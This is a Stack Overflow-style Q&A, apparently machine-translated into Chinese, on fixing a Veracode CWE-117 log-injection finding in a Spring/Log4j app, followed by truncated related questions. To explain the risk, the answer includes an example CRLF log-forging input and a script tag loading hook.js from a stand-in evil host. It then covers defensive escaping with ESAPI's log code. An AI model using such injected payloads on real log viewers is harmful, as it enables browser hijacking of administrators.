- iOS/Objective-C 元类和类别
- objective-c - -1001 错误,当 NSURLSession 通过 httpproxy 和/etc/hosts
- java - 使用网络类获取 url 地址
- ios - 推送通知中不播放声音
有一个 Spring 全局 @ExceptionHandler(Exception.class)
方法可以像这样记录异常:
@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
logger.error("Simple error message", ex);
...
Veracode 扫描表明此日志记录有不正确的日志输出中和
,并建议使用 ESAPI 记录器。有没有办法在不将记录器更改为 ESAPI 的情况下修复此漏洞?这是我遇到此问题的代码中唯一的地方,我试图弄清楚如何以最少的更改修复它。也许 ESAPI 有一些我没有注意到的方法?
附言当前记录器是 Log4j 而不是 slf4j
更新:最后我使用了 ESAPI 记录器。我以为它不会使用我的默认日志记录服务,但我错了,它只是使用我的 slf4j 记录器接口(interface)和适当的配置。
private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);
ESAPI 具有 log4j 记录器和记录器工厂的扩展。它可以配置在 ESAPI.properties 中使用什么。例如:
ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory
最佳答案
Is there any way how to fix this vulnerability without changing logger to ESAPI?
简而言之,是的。
简单描述:
首先了解错误的严重性。主要关注的是伪造日志声明。假设您有这样的代码:
log.error( transactionId + " for user " + username + " was unsuccessful."
如果任何一个变量都在用户控制之下,他们可以通过使用像 \r\n for user foobar was successful\rn
这样的输入来注入(inject)错误的日志语句。从而允许他们伪造日志并掩盖他们的踪迹。 (好吧,在这个人为的案例中,只是让我们更难看到发生了什么。)
第二种攻击方法更像是国际象棋的走法。许多日志都是 HTML 格式的,以便在另一个程序中查看,对于这个例子,我们假设日志是要在浏览器中查看的 HTML 文件。现在我们注入(inject) <script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>
并且您将使用最有可能作为服务器管理员执行的利用框架来连接浏览器……因为怀疑 CEO 是否会阅读日志。现在真正的破解可以开始了。
防御:
一个简单的防御措施是确保所有带有用户输入的日志语句使用明显的东西转义字符 '\n' 和 '\r',例如 '֎' 或者您可以执行 ESAPI 所做的并使用下划线转义。只要它一致就真的没关系,只要记住不要在日志中使用会使您感到困惑的字符集。类似于 userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
我还发现确保详细指定日志格式很有用...这意味着您要确保对日志语句的外观和构建格式有严格的标准,以便更容易捕获恶意用户.所有程序员都要服从党,遵守格式!
为了抵御 HTML 场景,我会使用 [OWASP 编码器项目][1]
至于为什么建议使用 ESAPI 的实现,它是一个久经考验的库,但简而言之,这就是我们所做的。看代码:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* @param message the message to be logged
* @param throwable the {@code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
参见第 398-453 行。这就是 ESAPI 提供的所有转义。我建议也复制单元测试。
[免责声明]:我是 ESAPI 的项目联合负责人。
[1]: https://www.owasp.org/index.php/OWASP_Java_Encoder_Project并确保在进入日志语句时对输入进行正确编码——每一位都与将输入发送回用户时一样多。
关于java - 如何修复 Veracode CWE 117(日志输出中和不当),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44949254/
我们的客户端使用 Veracode 扫描工具扫描 ASP.NET 应用程序。除了以下问题,我们已经解决了许多缺陷。 Improper Neutralization of CRLF Sequences
我在运行静态扫描时收到 Veracode 错误:操作系统命令中使用的特殊元素的不正确中和(“操作系统命令注入(inject)”)(CWE ID 78) 应用程序使用我从前端接收到的参数调用进程(应用程
我在 veracode 工具中运行了我的安全合规应用程序。每当该工具发现任何日志记录时,它都会将其检测为代码中的缺陷 缺陷在下面引用 日志输出中和不当 描述 函数调用可能导致日志伪造攻击。将未经过滤的
我继承了一个处于维护阶段的 Java (Spring) 项目,该项目刚刚第一次通过 Veracode,我们剩下的唯一 High 缺陷是报告“弱或损坏”的缺陷加密演算法。我更愿意花时间学习更多有关密码学
我正在测试的代码中出现信任边界冲突。该代码在 session 中添加表单,并且由于违反信任边界而存在缺陷 Inside Struts Action class execute method { Ed
我正在尝试让 Veracode 扫描一个 iOS 应用程序:一个应用程序安全平台。为了让他们扫描 .IPA,.IPA 需要包含调试符号。 对于正在使用的存档构建配置和项目/目标,我指定了: 生成调试符
我们在 ASP.Net 和 C# 中有一个遗留的 Web 应用程序,我们发现了大约 400 多个由 Veracode 扫描引发的跨站点脚本缺陷。我创建了一个示例 Web 应用程序并模拟了该问题,发现无
我在 veracode 报告中得到了下一个发现:XML 外部实体引用(“XXE”)的不当限制(CWE ID 611) 引用下面的下一个代码 ... DocumentBuilderFactory d
我在下面的行中遇到了 veracode 问题 "> 问题在在这里,报告的问题是“网页中与脚本相关的 HTML 标签的中和不当(基本 XSS)。我已经尝试了 cwe.mitre.org 中给出的修复程序
我的 Veracode 报告中有下一个发现:XML 外部实体引用 ('XXE') (CWE ID 611) 的不当限制 引用下面的下一个代码 ... DocumentBuilderFactory
我们正在使用 Mongo DB java 驱动程序 3.4.1 jar。当我们进行 Veracode 测试时,我们发现: ScramSha1Authenticator.java line no 215
我在 session.setAttribute(var1,var2) 等线路上遇到了 veracode 缺陷 cwe id 501。我已经尝试过不同的方法来解决它,但无法解决这个问题。我尝试过的方法如
我有这个代码: try { BufferedWriter bw = null; FileWriter fw = null; try {
我使用 Veracode 扫描我的应用程序并出现以下错误未检查的错误条件。这是我的代码: let status = withUnsafeMutablePointer(to: &queryRes
我正在修复 veracode 静态扫描发现的缺陷,并且我发现了几个 session 修复缺陷,如下所示: request.getSession().get/set Attribute( ); OWAS
有一个 Spring 全局 @ExceptionHandler(Exception.class) 方法可以像这样记录异常: @ExceptionHandler(Exception.class) voi
我们在登录页面中使用 Web 控制适配器。最近我们在我们的 Web 应用程序上运行 VeraCode。在下面的函数中,我们得到了 CWE80, Improper Neutralization of S
代码如下 public void sendEmail(String toEmailAddr, String subject, String body) throws AppException {
有人能解释一下为什么 VeraCode 似乎认为使用 name 作为公共(public)属性(property)是一个坏主意,并提出了一个好的缓解措施吗? 代码(JavaScript): var Ba
我继承了一个遗留应用程序,下面给出了一段代码。 private static void printKeywordCheckboxes(JspWriter out, ArrayList words, i
我是一名优秀的程序员,十分优秀!